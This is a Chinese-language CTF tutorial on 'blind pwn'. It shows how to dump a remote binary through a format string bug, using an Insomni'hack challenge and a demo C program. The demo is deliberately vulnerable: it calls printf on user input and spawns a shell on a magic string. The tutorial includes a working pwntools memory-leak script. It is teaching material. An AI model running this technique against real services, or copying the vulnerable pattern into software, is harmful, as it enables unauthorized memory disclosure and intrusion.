赞
踩
有一类题目,不会给任何文件,只给一个ip和端口,这种称为blind pwn(盲pwn),如果这类pwn存在格式化字符串漏洞的话,可以通过一些手法拿到整个二进制程序,这对我们的逆向分析和解题是十分重要的,举个例子:
在2022年的Insomni’hack teaser比赛上,有一道题CovidLe$s,就是一道盲pwn,输入什么就回显什么,但是存在格式化字符串漏洞,并且应该是栈上的,通过不断的尝试是可以大致猜测出栈结构的:
从偏移12开始是栈上的缓冲区,29那里是canary,31是返回地址,根据后三位可以猜到libc大版本
但是到这里也就结束了,无法继续推进了,此时就需要用到接下来将要介绍的方法,将整个程序dump下来才能继续分析
首先来看看dump下来的文件:
可以看到虽然不是很完整,但是大致的逻辑结构是能看到的,如果不dump下来的话,就不可能拿到这道题目的密钥,也就不可能做出来这道题,所以有些时候dump文件是必要的
dump的原理其实也很简单,其实就是利用格式化字符串的%n$p这类指令进行任意地址读
由于比赛已经结束,端口已经关闭,所以我们来自己写一个小demo:
#include<stdio.h> #include<stdlib.h> int main() { setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); char s[0x100]; memset(s,0,0x100); while(1) { read(0,s,0x50); if(!strcmp(s,"Ayaka"))system("/bin/sh"); printf(s); } }
如果这是一道真实的题,那么Ayaka这个字符串如果不去dump文件,我们是不会得到的。
一开始我们要手工做一些准备工作:
可以看到我们偏移为6
我们要dump的东西是程序的text段,其起始位置在_start,所以我们要先把_start的地址确定下来
这里要利用一个特点,就是_start函数地址会在栈中出现多次,所以要先打印一部分栈空间,然后找到明显属于程序text段并且出现多次的地址,一般来说就是_start的地址
这里能看到0x400630明显是text段的地址,并且在42和57位置都出现了,所以这里应该就是_start()
接下来就是dump,在dump的时候可以直接用%s,因为%s是\x00截断,所以只要出现截断,直接当做是\x00,然后把地址+1即可
至于dump到哪里停止,可以把连续八字节的\x00当做结束标志
这个demo没有开pie,所以直接从0x400000开始dump就行
我这里顺带把0x600000那里也dump了一下,这个demo程序的结构比较简单,可以看到结果基本除了符号表之外都有,可以很清楚的看到程序结构
如果需要dump其他复杂一些的程序,可以只dump前面的,甚至只dump text段,都是可以解析出函数的,只不过可读性会差一些。
dump脚本如下:
from re import L from pwn import * from ctypes import * from Ayaka import * import base64 from Crypto.Util.number import * #context.log_level = 'debug' context.arch='amd64' io = process('./test') #io = remote('52.59.124.14',10200) #libc = ELF('./libc-2.31.so') #elf=ELF("./pwn") rl = lambda a=False : io.recvline(a) ru = lambda a,b=True : io.recvuntil(a,b) rn = lambda x : io.recvn(x) sn = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda a,b : io.sendafter(a,b) sla = lambda a,b : io.sendlineafter(a,b) irt = lambda : io.interactive() dbg = lambda text=None : gdb.attach(io, text) # lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr)) lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00')) start=0x400630 base=0x400000 data=0x600000 size=0x1000 TEXT='' while True: if base>=0x401000 and base<data: TEXT+='\x00' base+=1 continue io.sendline("LEAK---->%8$s|*|"+p64(base)) ru("LEAK---->") s=io.recvuntil('|*|',drop=True) TEXT+=s base+=len(s) print(len(TEXT)) if len(s)==0: TEXT+='\x00' base+=1 if base>=0x601000: break """ if TEXT[-9:-1]=='\x00'*8 and base > start: break """ print("leak ",len(TEXT),"bytes successfully") with open('dumpfile','wb') as f: f.write(TEXT) #irt()
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。